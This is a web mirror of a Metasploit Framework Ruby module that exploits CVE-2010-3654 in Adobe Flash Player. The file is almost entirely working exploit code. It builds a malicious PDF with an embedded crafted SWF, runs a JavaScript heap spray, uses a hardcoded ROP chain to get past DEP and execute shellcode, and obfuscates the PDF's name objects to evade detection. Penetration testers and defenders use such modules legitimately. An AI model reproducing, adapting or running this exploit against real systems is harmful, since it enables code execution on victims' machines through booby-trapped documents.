Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = NormalRanking
10
11
include Msf::Exploit::FILEFORMAT
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Adobe Flash Player "Button" Remote Code Execution',
18
'Description' => %q{
19
This module exploits a vulnerability in the handling of certain SWF movies
20
within versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat
21
are also vulnerable, as are any other applications that may embed Flash player.
22
23
Arbitrary code execution is achieved by embedding a specially crafted Flash
24
movie into a PDF document. An AcroJS heap spray is used in order to ensure
25
that the memory used by the invalid pointer issue is controlled.
26
27
NOTE: This module uses a similar DEP bypass method to that used within the
28
adobe_libtiff module. This method is unlikely to work across various
29
Windows versions due to a hardcoded syscall number.
30
},
31
'License' => MSF_LICENSE,
32
'Author' => [
33
'Unknown', # Found being openly exploited
34
'Haifei Li', # PoC
35
'jduck' # Metasploit version
36
],
37
'References' => [
38
['CVE', '2010-3654'],
39
['OSVDB', '68932'],
40
['BID', '44504'],
41
['URL', 'http://www.adobe.com/support/security/advisories/apsa10-05.html'],
42
['URL', 'http://blog.fortinet.com/fuzz-my-life-flash-player-zero-day-vulnerability-cve-2010-3654/'], # PoC
43
# For SWF->PDF embedding
44
['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/']
45
],
46
'DefaultOptions' => {
47
'EXITFUNC' => 'process',
48
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
49
'DisablePayloadHandler' => true
50
},
51
'Payload' => {
52
'Space' => 1000,
53
'BadChars' => "\x00",
54
'DisableNops' => true
55
},
56
'Platform' => 'win',
57
'Targets' => [
58
# Tested OK via Adobe Reader 9.4.0 on Windows XP SP3 (uses flash 10.1.85.3) -jjd
59
[ 'Automatic', {}],
60
],
61
'DisclosureDate' => '2010-10-28',
62
'DefaultTarget' => 0,
63
'Notes' => {
64
'Reliability' => UNKNOWN_RELIABILITY,
65
'Stability' => UNKNOWN_STABILITY,
66
'SideEffects' => UNKNOWN_SIDE_EFFECTS
67
}
68
)
69
)
70
71
register_options(
72
[
73
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
74
]
75
)
76
end
77
78
def exploit
79
swf_data = make_swf()
80
js_data = make_js(payload.encoded)
81
82
# Create the pdf
83
pdf = make_pdf(swf_data, js_data)
84
85
print_status("Creating '#{datastore['FILENAME']}' file...")
86
87
file_create(pdf)
88
end
89
90
def make_swf
91
# load the static swf file
92
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2010-3654.swf")
93
fd = File.open(path, "rb")
94
swf_data = fd.read(fd.stat.size)
95
fd.close
96
swf_data
97
end
98
99
def make_js(encoded_payload)
100
# The following executes a ret2lib using BIB.dll
101
# The effect is to bypass DEP and execute the shellcode in an indirect way
102
stack_data = [
103
0xc0c0c0c,
104
0x7002fe1, # mov edx,[esi+0x18] / test edx,edx / je +0x12 / mov eax,[esi+0xc] / mov ecx,[esi+4] / push eax / push ecx / push esi / call edx
105
0xcccccccc,
106
0xcccccccc,
107
0xc0c0c0c + 0x10,
108
0x7004919, # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret
109
0xcccccccc,
110
0x70048ef, # xchg eax,esp / ret
111
0x700156f, # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]
112
0xcccccccc,
113
0x7009084, # ret
114
0x7009084, # ret
115
0x7009084, # ret
116
0x7009084, # ret
117
0x7009084, # ret
118
0x7009084, # ret
119
0x7009033, # ret 0x18
120
0x7009084, # ret
121
0xc0c0c0c,
122
0x7009084, # ret
123
0x7009084, # ret
124
0x7009084, # ret
125
0x7009084, # ret
126
0x7009084, # ret
127
0x7009084, # ret
128
0x7009084, # ret
129
0x7009084, # ret
130
0x7001599, # pop ebp / ret
131
0x10124,
132
0x70072f7, # pop eax / ret
133
0x10104,
134
0x70015bb, # pop ecx / ret
135
0x1000,
136
0x700154d, # mov [eax], ecx / ret
137
0x70015bb, # pop ecx / ret
138
0x7ffe0300, # -- location of KiFastSystemCall
139
0x7007fb2, # mov eax, [ecx] / ret
140
0x70015bb, # pop ecx / ret
141
0x10011,
142
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
143
0x70015bb, # pop ecx / ret
144
0x10100,
145
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
146
0x70072f7, # pop eax / ret
147
0x10011,
148
0x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
149
0x7005c54, # pop esi / add esp,0x14 / ret
150
0xffffffff,
151
0x10100,
152
0x0,
153
0x10104,
154
0x1000,
155
0x40,
156
# The next bit effectively copies data from the interleaved stack to the memory
157
# pointed to by eax
158
# The data copied is:
159
# \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83
160
# \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff
161
# \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90
162
0x700d731, # mov eax, [ebp-0x24] / ret
163
0x70015bb, # pop ecx / ret
164
0x9054905a,
165
0x700154d, # mov [eax], ecx / ret
166
0x700a722, # add eax, 4 / ret
167
0x70015bb, # pop ecx / ret
168
0x5815eb5a,
169
0x700154d, # mov [eax], ecx / ret
170
0x700a722, # add eax, 4 / ret
171
0x70015bb, # pop ecx / ret
172
0x18891a8b,
173
0x700154d, # mov [eax], ecx / ret
174
0x700a722, # add eax, 4 / ret
175
0x70015bb, # pop ecx / ret
176
0x8304c083,
177
0x700154d, # mov [eax], ecx / ret
178
0x700a722, # add eax, 4 / ret
179
0x70015bb, # pop ecx / ret
180
0xfb8104c2,
181
0x700154d, # mov [eax], ecx / ret
182
0x700a722, # add eax, 4 / ret
183
0x70015bb, # pop ecx / ret
184
0xc0c0c0c,
185
0x700154d, # mov [eax], ecx / ret
186
0x700a722, # add eax, 4 / ret
187
0x70015bb, # pop ecx / ret
188
0x5ebee75,
189
0x700154d, # mov [eax], ecx / ret
190
0x700a722, # add eax, 4 / ret
191
0x70015bb, # pop ecx / ret
192
0xffffe6e8,
193
0x700154d, # mov [eax], ecx / ret
194
0x700a722, # add eax, 4 / ret
195
0x70015bb, # pop ecx / ret
196
0x909090ff,
197
0x700154d, # mov [eax], ecx / ret
198
0x700a722, # add eax, 4 / ret
199
0x70015bb, # pop ecx / ret
200
0x90909090,
201
0x700154d, # mov [eax], ecx / ret
202
0x700a722, # add eax, 4 / ret
203
0x70015bb, # pop ecx / ret
204
0x90909090,
205
0x700154d, # mov [eax], ecx / ret
206
0x700a722, # add eax, 4 / ret
207
0x70015bb, # pop ecx / ret
208
0x90ffffff,
209
0x700154d, # mov [eax], ecx / ret
210
0x700d731, # mov eax, [ebp-0x24] / ret
211
0x700112f # call eax -- (execute stub to transition to full shellcode)
212
].pack('V*')
213
214
var_unescape = rand_text_alpha(rand(100) + 1)
215
var_shellcode = rand_text_alpha(rand(100) + 1)
216
217
var_start = rand_text_alpha(rand(100) + 1)
218
219
var_s = 0x10000
220
var_c = rand_text_alpha(rand(100) + 1)
221
var_b = rand_text_alpha(rand(100) + 1)
222
var_d = rand_text_alpha(rand(100) + 1)
223
var_3 = rand_text_alpha(rand(100) + 1)
224
var_i = rand_text_alpha(rand(100) + 1)
225
var_4 = rand_text_alpha(rand(100) + 1)
226
227
payload_buf = ''
228
payload_buf << stack_data
229
payload_buf << encoded_payload
230
231
escaped_payload = Rex::Text.to_unescape(payload_buf)
232
233
js = %Q|
234
var #{var_unescape} = unescape;
235
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
236
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
237
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
238
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
239
#{var_b} += #{var_shellcode};
240
#{var_b} += #{var_c};
241
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
242
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
243
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
244
var #{var_4} = new Array();
245
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
246
|
247
248
js
249
end
250
251
def random_non_ascii_string(count)
252
result = ""
253
count.times do
254
result << (rand(128) + 128).chr
255
end
256
result
257
end
258
259
def io_def(id)
260
"%d 0 obj\n" % id
261
end
262
263
def io_ref(id)
264
"%d 0 R" % id
265
end
266
267
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
268
def n_obfu(str)
269
result = ""
270
str.scan(/./u) do |c|
271
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
272
result << "#%x" % c.unpack("C*")[0]
273
else
274
result << c
275
end
276
end
277
result
278
end
279
280
def ascii_hex_whitespace_encode(str)
281
result = ""
282
whitespace = ""
283
str.each_byte do |b|
284
result << whitespace << "%02x" % b
285
whitespace = " " * (rand(3) + 1)
286
end
287
result << ">"
288
end
289
290
def make_pdf(swf, js)
291
swf_name = rand_text_alpha(8 + rand(8)) + ".swf"
292
293
xref = []
294
eol = "\n"
295
endobj = "endobj" << eol
296
297
# Randomize PDF version?
298
pdf = "%PDF-1.5" << eol
299
# pdf << "%" << random_non_ascii_string(4) << eol
300
301
# catalog
302
xref << pdf.length
303
pdf << io_def(1) << n_obfu("<</Type/Catalog")
304
pdf << n_obfu("/Pages ") << io_ref(3)
305
pdf << n_obfu("/OpenAction ") << io_ref(5)
306
pdf << n_obfu(">>")
307
pdf << eol << endobj
308
309
# pages array
310
xref << pdf.length
311
pdf << io_def(3) << n_obfu("<</Type/Pages/Count 1/Kids [") << io_ref(4) << n_obfu("]>>") << eol << endobj
312
313
# page 1
314
xref << pdf.length
315
pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3)
316
pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("] ")
317
pdf << n_obfu(">>")
318
pdf << eol << endobj
319
320
# js action
321
xref << pdf.length
322
pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << eol << endobj
323
324
# js stream
325
xref << pdf.length
326
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
327
pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
328
pdf << "stream" << eol
329
pdf << compressed << eol
330
pdf << "endstream" << eol
331
pdf << endobj
332
333
# swf annotation object
334
xref << pdf.length
335
pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype/RichMedia")
336
pdf << n_obfu("/Rect [20 20 187 69] ")
337
pdf << n_obfu("/RichMediaSettings ") << io_ref(8)
338
pdf << n_obfu("/RichMediaContent ") << io_ref(9)
339
pdf << n_obfu("/NM (") << swf_name << n_obfu(")")
340
pdf << n_obfu(">>")
341
pdf << eol << endobj
342
343
# rich media settings
344
xref << pdf.length
345
pdf << io_def(8)
346
pdf << n_obfu("<</Type/RichMediaSettings/Subtype/Flash")
347
pdf << n_obfu("/Activation ") << io_ref(10)
348
pdf << n_obfu("/Deactivation ") << io_ref(11)
349
pdf << n_obfu(">>")
350
pdf << eol << endobj
351
352
# rich media content
353
xref << pdf.length
354
pdf << io_def(9)
355
pdf << n_obfu("<</Type/RichMediaContent")
356
pdf << n_obfu("/Assets ") << io_ref(12)
357
pdf << n_obfu("/Configurations [") << io_ref(14) << "]"
358
pdf << n_obfu(">>")
359
pdf << eol << endobj
360
361
# rich media activation / deactivation
362
xref << pdf.length
363
pdf << io_def(10)
364
pdf << n_obfu("<</Type/RichMediaActivation/Condition/PO>>")
365
pdf << eol << endobj
366
367
xref << pdf.length
368
pdf << io_def(11)
369
pdf << n_obfu("<</Type/RichMediaDeactivation/Condition/XD>>")
370
pdf << eol << endobj
371
372
# rich media assets
373
xref << pdf.length
374
pdf << io_def(12)
375
pdf << n_obfu("<</Names [(#{swf_name}) ") << io_ref(13) << n_obfu("]>>")
376
pdf << eol << endobj
377
378
# swf embeded file ref
379
xref << pdf.length
380
pdf << io_def(13)
381
pdf << n_obfu("<</Type/Filespec /EF <</F ") << io_ref(16) << n_obfu(">> /F(#{swf_name})>>")
382
pdf << eol << endobj
383
384
# rich media configuration
385
xref << pdf.length
386
pdf << io_def(14)
387
pdf << n_obfu("<</Type/RichMediaConfiguration/Subtype/Flash")
388
pdf << n_obfu("/Instances [") << io_ref(15) << n_obfu("]>>")
389
pdf << eol << endobj
390
391
# rich media isntance
392
xref << pdf.length
393
pdf << io_def(15)
394
pdf << n_obfu("<</Type/RichMediaInstance/Subtype/Flash")
395
pdf << n_obfu("/Asset ") << io_ref(13)
396
pdf << n_obfu(">>")
397
pdf << eol << endobj
398
399
# swf stream
400
# NOTE: This data is already compressed, no need to compress it again...
401
xref << pdf.length
402
pdf << io_def(16) << n_obfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol
403
pdf << "stream" << eol
404
pdf << swf << eol
405
pdf << "endstream" << eol
406
pdf << endobj
407
408
# trailing stuff
409
xrefPosition = pdf.length
410
pdf << "xref" << eol
411
pdf << "0 %d" % (xref.length + 1) << eol
412
pdf << "0000000000 65535 f" << eol
413
xref.each do |index|
414
pdf << "%010d 00000 n" % index << eol
415
end
416
417
pdf << "trailer" << eol
418
pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
419
420
pdf << "startxref" << eol
421
pdf << xrefPosition.to_s() << eol
422
423
pdf << "%%EOF" << eol
424
pdf
425
end
426
end
427
428